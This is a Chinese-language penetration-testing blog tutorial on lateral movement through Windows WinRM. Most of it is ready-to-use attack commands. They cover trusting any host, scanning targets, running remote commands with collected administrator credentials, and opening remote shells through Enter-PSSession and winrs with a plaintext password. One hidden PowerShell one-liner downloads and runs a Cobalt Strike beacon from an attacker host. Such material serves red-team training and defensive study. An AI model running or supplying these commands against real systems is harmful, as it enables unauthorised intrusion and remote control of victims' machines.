0x01 winRM简介
WinRM 是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议[SOAP]的 “防火墙友好” 协议,它让来自不同供应商的硬件和操作系统能够互相操作。winRM的默认端口为5985(http)或5986(https)。
winRM横向移动同时适用于工作组和域环境。

0x02 利用条件
1、在win 2012之后(包括win 2012)的版本是默认开启的,win 2012之前利用需要手动开启winRM。
2、防火墙对5986、5985端口开放。

0x03 通过winRM横向移动
开启winrm

winrm quickconfig
Set-Item WSMan:localhost\client\trustedhosts -value * #将当前主机的trustedhosts设置为*,表示信任任意主机
Restart-Service WinRM #重启winRM服务

30097-nmupz70oqq.png

一、查看本地和目标是否开放winRM服务
1、查看本地是否运行winRM服务。

netstat -ano |findstr 5985
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

43367-nwsbp5mlm3.png

2、查看目标是否运行winRM服务。

nmap -sV 192.168.3.73 -Pn -p5985,5986

19030-xodl0ufwp9g.png

3、查看目标机器的winRM服务是否工作正常,如图所示为正常。

Test-WsMan 192.168.2.129

48109-i43hg8p3ko9.png

二、通过winRM在目标主机上执行任意命令
命令执行
执行下列命令,输入之前收集到的密码。

Invoke-Command -ComputerName 192.168.2.129 -ScriptBlock { ipconfig } -credential administrator

26245-u4lnjxso3i.png

命令执行成功。

96271-fgaz8mf8hto.png

3、直接执行cs payload,弹回一个cs beacon。

Invoke-Command -ComputerName 192.168.2.129 -ScriptBlock { powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://ip:端口/a'))" } -credential administrator

cs成功接收到会话。

29719-5ky8cde7plt.png

反弹shell
1、通过Enter-PSSession直接弹回一个cmd shell。

Enter-PSSession -ComputerName 192.168.2.129 -Credential administrator

反弹shell成功。

02297-c7cbirr6xb8.png

三、Windows内置工具winrs的使用
命令执行

winrs -r:192.168.2.129 -u:administrator -p:qwer123456.. "ipconfig"

36596-g09ma8f615r.png

反弹shell

winrs -r:192.168.2.129 -u:administrator -p:qwer123456.. "cmd"

73163-4m141j6p4df.png


本文由 wulaoban 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论